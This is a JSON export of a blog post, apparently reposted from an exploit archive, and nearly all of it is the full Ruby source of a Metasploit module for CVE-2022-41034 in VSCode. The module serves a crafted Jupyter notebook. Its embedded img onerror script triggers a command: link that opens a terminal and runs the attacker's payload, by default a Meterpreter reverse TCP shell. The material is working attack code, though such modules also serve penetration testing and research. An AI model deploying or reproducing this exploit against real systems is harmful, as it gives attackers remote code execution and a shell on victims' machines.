{"id":57386,"date":"2024-06-11T17:10:26","date_gmt":"2024-06-11T14:10:26","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179029\/vscode_ipynb_remote_dev_exec.rb.txt"},"modified":"2024-06-11T17:10:26","modified_gmt":"2024-06-11T14:10:26","slug":"vscode-ipynb-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/vscode-ipynb-remote-code-execution\/","title":{"rendered":"VSCode ipynb Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpServer<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;VSCode ipynb Remote Development RCE&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>VSCode when opening an Jupyter notebook (.ipynb) file bypasses the trust model.<br \/>On versions v1.4.0 &#8211; v1.71.1, its possible for the Jupyter notebook to embed<br \/>HTML and javascript, which can then open new terminal windows within VSCode.<br \/>Each of these new windows can then execute arbitrary code at startup.<\/p>\n<p>During testing, the first open of the Jupyter notebook resulted in pop-ups<br \/>displaying errors of unable to find the payload exe file. The second attempt<br \/>at opening the Jupyter notebook would result in successful exeuction.<\/p>\n<p>Successfully tested against VSCode 1.70.2 on Windows 10.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;h00die&#8217;, # metasploit module<br \/>&#8216;Zemnmez&#8217;<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/google\/security-research\/security\/advisories\/GHSA-pw56-c55x-cm9m&#8217;],<br \/>[&#8216;CVE&#8217;, &#8216;2022-41034&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/andyhsu024\/CVE-2022-41034&#8217;]<br \/>],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2022-11-22&#8217;,<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>&#8216;Stance&#8217; =&gt; Stance::Aggressive,<br \/>&#8216;Payload&#8217; =&gt; { &#8216;BadChars&#8217; =&gt; &#8216;&amp;&#8221;&#8216; },<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;Windows&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/windows\/http\/x64\/meterpreter\/reverse_tcp&#8217;<br \/>}<\/p>\n<p>}<br \/>],<br \/>[<br \/>&#8216;Linux File-Dropper&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; &#8216;linux&#8217;,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;PAYLOAD&#8217; =&gt; &#8216;linux\/x64\/meterpreter\/reverse_tcp&#8217;<br \/>}<br \/>}<br \/>]<br \/>],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;WfsDelay&#8217; =&gt; 3_600, # 1hr<br \/>&#8216;URIPATH&#8217; =&gt; &#8216;project.ipynb&#8217;<br \/>},<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/># on windows it will say the final payload can&#8217;t be found<br \/># however, it is, seems to be a timing issue, 2nd exploit attempt<br \/># works perfectly<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION, FIRST_ATTEMPT_FAIL],<br \/>&#8216;SideEffects&#8217; =&gt; [SCREEN_EFFECTS]<br \/>}<br \/>)<br \/>)<br \/>register_options(<br \/>[<br \/>OptString.new(&#8216;PAYLOAD_FILENAME&#8217;, [ false, &#8216;Name of the payload file &#8211; only required when exploiting on Linux.&#8217;, &#8216;shell.sh&#8217; ]),<br \/>OptString.new(&#8216;WRITABLE_DIR&#8217;, [ false, &#8216;Name of the writable directory containing the payload file &#8211; required when exploiting on Linux .&#8217;, &#8216;\/tmp\/&#8217; ]),<br \/>]<br \/>)<br \/>end<\/p>\n<p>def check<br \/>CheckCode::Unsupported<br \/>end<\/p>\n<p>def exploit<br \/>unless datastore[&#8216;URIPATH&#8217;].end_with? &#8216;.ipynb&#8217;<br \/>fail_with(Failure::BadConfig, &#8216;URIPATH must end in .ipynb for exploit to be successful&#8217;)<br \/>end<br \/>print_status(&#8216;Starting up web service&#8230;&#8217;)<br \/>start_service<br \/>sleep(datastore[&#8216;WFSDELAY&#8217;])<br \/>end<\/p>\n<p>def on_request_uri(cli, request)<br \/>super unless request.uri.end_with? datastore[&#8216;URIPATH&#8217;]<\/p>\n<p>if target[&#8216;Platform&#8217;] == &#8216;win&#8217;<br \/>config = { &#8216;executable&#8217; =&gt; &#8216;cmd.exe&#8217;, &#8216;args&#8217; =&gt; &#8220;\/c #{payload.raw}&#8221; }<br \/>else<br \/>config = { &#8216;executable&#8217; =&gt; &#8220;\/#{datastore[&#8216;WRITABLE_DIR&#8217;]}\/#{datastore[&#8216;PAYLOAD_FILENAME&#8217;]}&#8221; }<br \/>end<\/p>\n<p>pload = JSON.dump({ &#8216;config&#8217; =&gt; config })<br \/>pload = CGI.escape(pload).gsub(&#8216;+&#8217;, &#8216;%20&#8217;) # XXX not sure if this is needed or not, but it works<\/p>\n<p>ipynb = %|{<br \/>&#8220;cells&#8221;: [<br \/>{<br \/>&#8220;cell_type&#8221;: &#8220;markdown&#8221;,<br \/>&#8220;metadata&#8221;: {},<br \/>&#8220;source&#8221;: [<br \/>&#8220;&lt;img src=a onerror=\\\\&#8221;let q = document.createElement(&#8216;a&#8217;);q.href=&#8217;command:workbench.action.terminal.new?#{pload}&#8217;;document.body.appendChild(q);q.click()\\\\&#8221;\/&gt;&#8221;<br \/>]<br \/>}<br \/>]}|<\/p>\n<p>send_response(cli, ipynb, {<br \/>&#8216;Connection&#8217; =&gt; &#8216;close&#8217;,<br \/>&#8216;Pragma&#8217; =&gt; &#8216;no-cache&#8217;,<br \/>&#8216;Access-Control-Allow-Origin&#8217; =&gt; &#8216;*&#8217;<br \/>})<\/p>\n<p>print_status(&#8220;Sent #{datastore[&#8216;URIPATH&#8217;]} to #{cli.peerhost}&#8221;)<br \/>end<\/p>\n<p>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;VSCode ipynb Remote Development RCE&#8217;,&#8216;Description&#8217; =&gt; %q{VSCode when opening an Jupyter notebook (.ipynb) file bypasses the trust model.On versions v1.4.0 &#8211; v1.71.1, its possible for the Jupyter notebook to embedHTML and javascript, which &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57386","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57386","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57386"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57386\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57386"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57386"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57386"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}